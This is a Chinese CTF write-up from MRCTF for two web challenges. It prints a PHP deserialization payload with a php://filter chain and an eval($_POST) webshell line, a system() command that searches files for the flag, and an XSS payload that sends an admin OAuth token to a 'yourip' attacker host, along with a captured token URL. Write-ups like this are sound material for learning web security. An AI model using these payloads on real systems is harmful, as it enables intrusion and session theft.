mrctf

webcheckin

这边的后台检测有点迷,只要再payload前加些其他数据就可以绕过。
例如:

<?php
class Modifier {
    protected  $var='php://filter/read=convert.base64-encode/resource=flag.php';
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = new Modifier();
    }
}


$a = new Show("self");
$a->str = new Test();//可以触发__get
$c = new Show($a);
echo urlencode(serialize($c));
eval($_POST[1]);
?>

然后就要慢慢的找flag,但是再r4战队大佬的wp里看到了一个查找flag的命令。

1=system(" find /var -type f | xargs grep 'MRCTF{' ");

查找/var目录及其子目录下的普通文件内容经过过滤匹配MRCTF{,再输出。

web_of _gpa

这题的大致思路是通过server端访问client端的文章,通过在client端文章处写入获取token的xss,最后在client端用admin的token登录在查看成绩处就可以看到flag了。

步骤:先依次写入两篇文章
这边我用的https://xss8.cc/平台来xss

<a id=MyImg><a id=MyImg name=src href='cid:ibukifalling"onerror="javascript:function getQueryVariable(variable)
        {
               var query = window.location.search.substring(1);
               var vars = query.split(`&`);
               for (var i=0;i<vars.length;i++) {
                       var pair = vars[i].split(`=`);
                       if(pair[0] == variable){return pair[1];}
               }
               return(false);
        }
        var token = getQueryVariable(`token`);
        console.log(token);
        document.write(`<img src=http://yourip/?token=`+token+` >`);
        "//'></a>
<a id=MyImg><a id=MyImg name=src href='cid:ibukifalling"onerror="javascript:setTimeout(function(){location.href=`http://brtserver.node3.mrctf.fun/oauth/authorize?redirect_uri=http://brtclient.node3.mrctf.fun/view/part1uuid`},1000)"//'></a>

在这里插入图片描述
然后再访问xss(这边就是第二篇文章),然后他就会跳转到第一篇文章,带上admin的token访问我们的vps

在这里插入图片描述
最后带上admin的token访问client链接查看成绩就可以看到flag了。

http://brtclient.node2.buptmerak.cn/login?token=WRntNQwD9RY8S1RTJRb4rTWDPEptAAaA

在这里插入图片描述

参考wp:

r4kapig
Y4tacker
web_of_gpa

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值